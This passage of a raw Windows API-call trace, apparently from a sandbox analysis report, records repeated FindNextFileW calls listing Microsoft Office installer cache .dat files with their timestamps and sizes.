ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.842] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21b9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="access.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="ACCESS~1.DAT")) returned 1 [0129.842] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf475553, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x44d12, dwReserved0=0x0, dwReserved1=0x0, cFileName="access.x-none.msi.16.x-none.tree.dat", cAlternateFileName="ACCESS~4.DAT")) returned 1 [0129.842] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9376, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="ACCESS~3.DAT")) returned 1 [0129.843] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d0baf0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9623, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmui.msi.16.en-us.tree.dat", cAlternateFileName="ACC776~1.DAT")) returned 1 [0129.843] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd02, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmuiset.msi.16.en-us.boot.tree.dat", cAlternateFileName="ACCESS~2.DAT")) returned 1 [0129.843] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03f4a77, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03f4a77, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd04ffae9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmuiset.msi.16.en-us.tree.dat", cAlternateFileName="AC82F7~1.DAT")) returned 1 [0129.843] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x142b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcf.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="DCFX-N~1.DAT")) returned 1 [0129.843] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf6fdca2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcf.x-none.msi.16.x-none.tree.dat", cAlternateFileName="DCFX-N~2.DAT")) returned 1 [0129.843] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcfmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="DCFMUI~1.DAT")) returned 1 [0129.843] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03f4a77, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03f4a77, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd054bfa0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcfmui.msi.16.en-us.tree.dat", cAlternateFileName="DCFMUI~2.DAT")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="EXCELX~1.DAT")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcee3319e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94277, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.x-none.msi.16.x-none.tree.dat", cAlternateFileName="EXCELX~2.DAT")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x57ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="EXCELM~1.DAT")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03a857f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03a857f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd048d683, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x646e, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelmui.msi.16.en-us.tree.dat", cAlternateFileName="EXCELM~2.DAT")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4276, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="GROOVE~1.DAT")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcede6ced, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcede6ced, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf0e1caa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x621d, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.x-none.msi.16.x-none.tree.dat", cAlternateFileName="GROOVE~3.DAT")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x127a, dwReserved0=0x0, dwReserved1=0x0, cFileName="groovemui.msi.16.en-us.boot.tree.dat", cAlternateFileName="GROOVE~2.DAT")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd03a857f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd03a857f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd04b3616, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x179f, dwReserved0=0x0, dwReserved1=0x0, cFileName="groovemui.msi.16.en-us.tree.dat", cAlternateFileName="GROOVE~4.DAT")) returned 1 [0129.845] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x40ee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="lync.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="LYNCX-~1.DAT")) returned 1 [0129.845] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf2391cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf2391cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcf8c794a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6af1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lync.x-none.msi.16.x-none.tree.dat", cAlternateFileName="LYNCX-~2.DAT")) returned 1 [0129.845] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2740, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="LYNCMU~1.DAT")) returned 1 [0129.845] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0335ea1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0335ea1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd03f4a77, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f36, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncmui.msi.16.en-us.tree.dat", cAlternateFileName="LYNCMU~2.DAT")) returned 1 [0129.845] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa06c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="office.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="OFFICE~2.DAT")) returned 1 [0129.845] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0335ea1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0335ea1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0440f22, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xff0cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="office.x-none.msi.16.x-none.tree.dat", cAlternateFileName="OFDF3A~1.DAT")) returned 1 [0130.649] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32mui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OF09D4~1.DAT")) returned 1 [0130.649] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0572132, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0572132, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0656ff9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32mui.msi.16.en-us.tree.dat", cAlternateFileName="OF3D36~1.DAT")) returned 1 [0130.649] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b8fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16.x-none.boot.tree.dat", cAlternateFileName="OFFICE~4.DAT")) returned 1 [0130.649] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfc34f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfc34f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0335ea1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x153aac, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32ww.msi.16.x-none.tree.dat", cAlternateFileName="OFDFB3~1.DAT")) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3334d, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OFFICE~1.DAT")) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd054bfa0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd054bfa0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd060ab93, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36b17, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16.en-us.tree.dat", cAlternateFileName="OF3E9E~1.DAT")) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemuiset.msi.16.en-us.boot.tree.dat", cAlternateFileName="OFFICE~3.DAT")) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd054bfa0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd054bfa0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd06c975a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemuiset.msi.16.en-us.tree.dat", cAlternateFileName="OFCB7C~1.DAT")) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenote.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="ONENOT~2.DAT")) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfa45126, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfa45126, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0251012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c425, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenote.x-none.msi.16.x-none.tree.dat", cAlternateFileName="ONENOT~3.DAT")) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenotemui.msi.16.en-us.boot.tree.dat", cAlternateFileName="ONENOT~1.DAT")) returned 1 [0130.650] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd048d683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd048d683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0572132, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4615, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenotemui.msi.16.en-us.tree.dat", cAlternateFileName="ONENOT~4.DAT")) returned 1 [0130.651] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84404c07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x136c, dwReserved0=0x0, dwReserved1=0x0, cFileName="osm.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="OSMX-N~1.DAT")) returned 1 [0130.651] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfa45126, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfa45126, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd02e99f0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x136c, dwReserved0=0x0, dwReserved1=0x0, cFileName="osm.x-none.msi.16.x-none.tree.dat", cAlternateFileName="OSMX-N~2.DAT")) returned 1 [0130.651] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmmui.msi.16.en-us.boot.tree.dat", cAlternateFileName="OSMMUI~1.DAT")) returned 1 [0130.651] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd06c975a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd06c975a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd089348e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x134e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmmui.msi.16.en-us.tree.dat", cAlternateFileName="OSMMUI~2.DAT")) returned 1 [0130.651] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmux.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="OSMUXX~1.DAT")) returned 1 [0130.651] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcf87b4f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcf87b4f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcfc813cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmux.x-none.msi.16.x-none.tree.dat", cAlternateFileName="OSMUXX~2.DAT")) returned 1 [0130.651] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, 